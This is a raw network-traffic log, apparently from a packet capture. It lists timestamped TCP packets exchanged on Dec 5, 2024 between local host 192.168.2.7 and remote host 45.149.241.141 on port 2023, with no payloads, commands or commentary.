Dec 5, 2024 10:39:27.411282063 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.412084103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.412194014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.412259102 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.413156033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.413377047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.413465977 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.414307117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.414393902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.414460897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.415606976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.415621996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.415683985 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.416570902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.416657925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.416826963 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.417732954 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.417864084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.417905092 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.418850899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.418920994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.418982983 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.420002937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.420172930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.420249939 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.421181917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.421271086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.421339989 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.422425032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.422475100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.422566891 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.423449993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.423559904 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.423626900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.424640894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.424654007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.424695969 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.425738096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.425750971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.425821066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.426860094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.426980972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.427020073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.428029060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.428169966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.428253889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.429131985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.429188967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.429544926 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.430286884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.430358887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.430414915 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.431467056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.488107920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.563524008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.563666105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.563823938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.563958883 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.563967943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.564062119 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.565021992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.565180063 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.565284967 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.566134930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.566250086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.566328049 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.567285061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.567362070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.567559958 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.568440914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.568509102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.568614960 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.569622993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.569798946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.570030928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.570806980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.570898056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.571026087 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.571856022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.571973085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.572101116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.572999954 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.573137999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.573239088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.574151039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.574278116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.574353933 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.575275898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.575573921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.575622082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.576445103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.576539993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.576618910 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.577563047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.577682018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.577729940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.578727961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.579029083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.579083920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.579865932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.579993963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.580041885 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.580995083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.581098080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.581146002 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.582139015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.582339048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.582539082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.583290100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.583360910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.583410025 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.584449053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.584518909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.584580898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.585597038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.585741043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.585797071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.587609053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.587620974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.587687016 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.587898016 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.587946892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.587994099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.589467049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.589482069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.589520931 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.590164900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.590188026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.590244055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.591361046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.591373920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.591414928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.592447042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.592461109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.592515945 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.596406937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596421957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596470118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.596478939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596494913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596534014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596539974 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.596554041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.596648932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.597223997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.597332001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.597373962 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.599281073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.599555969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.599607944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.600261927 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.600414991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.600470066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.600949049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.601089001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.601123095 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.602159023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.602171898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.602220058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.602725983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.602870941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.602971077 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.603912115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.603952885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.604007006 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.605189085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.605215073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.605272055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.606142998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.606292009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.606343031 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.607434988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.607486963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.607531071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.608433962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.608525991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.608622074 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.609679937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.609698057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.609828949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.610724926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.610816956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.610871077 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.611906052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.611984968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.612035990 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.613025904 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.613126993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.613220930 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.614181995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.614258051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.614312887 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.615499973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.615514994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.615575075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.616503000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.616544962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.616740942 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.617575884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.617698908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.617944002 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.618777037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.618923903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.618977070 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.619831085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.619975090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.620016098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.622241974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.622378111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.622433901 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.624634027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.624660015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.624705076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.624711990 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.755949020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.756093979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.756197929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.756474018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.756722927 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.756779909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.757391930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.757498980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.757555008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.760122061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.761257887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.761323929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.761394978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.761408091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.761421919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.761466980 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.761466980 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.761539936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.763036966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.763164043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.763212919 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.764116049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.764131069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.764187098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.765150070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.765163898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.765221119 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.766385078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.766423941 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.766520977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.767534018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.767668009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.767725945 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.768604994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.768709898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.768867016 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.769783974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.769947052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.770009041 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.770947933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.770994902 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.771120071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.772164106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.772197008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.772211075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.773279905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.773328066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.773464918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.774369955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.774535894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.774580002 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.775525093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.775687933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.775738001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.776783943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.776797056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.776845932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.777962923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.777976990 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.778036118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.779032946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.779046059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.779078960 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.780124903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.780276060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.780323029 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.781279087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.781450033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.781497955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.782315969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.782507896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.782566071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.783555984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.783605099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.783711910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.784780025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.784792900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.784868956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.785939932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.785953045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.785999060 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.787015915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.787132978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.787183046 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.788229942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.788254976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.788274050 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.789412022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.789426088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.789479971 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.790608883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.790760040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.790819883 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.791477919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.791574955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.791627884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.792654991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.792706013 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.792808056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.793849945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.793863058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.793905973 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.794852972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.794898033 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.794981956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.796114922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.796252012 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.796302080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.797281027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.797293901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.797342062 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.798425913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.798444033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.798475027 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.798484087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.798587084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.798630953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.799658060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.799731016 CET	2023	49852	45.149.241.141	192.168.2.7
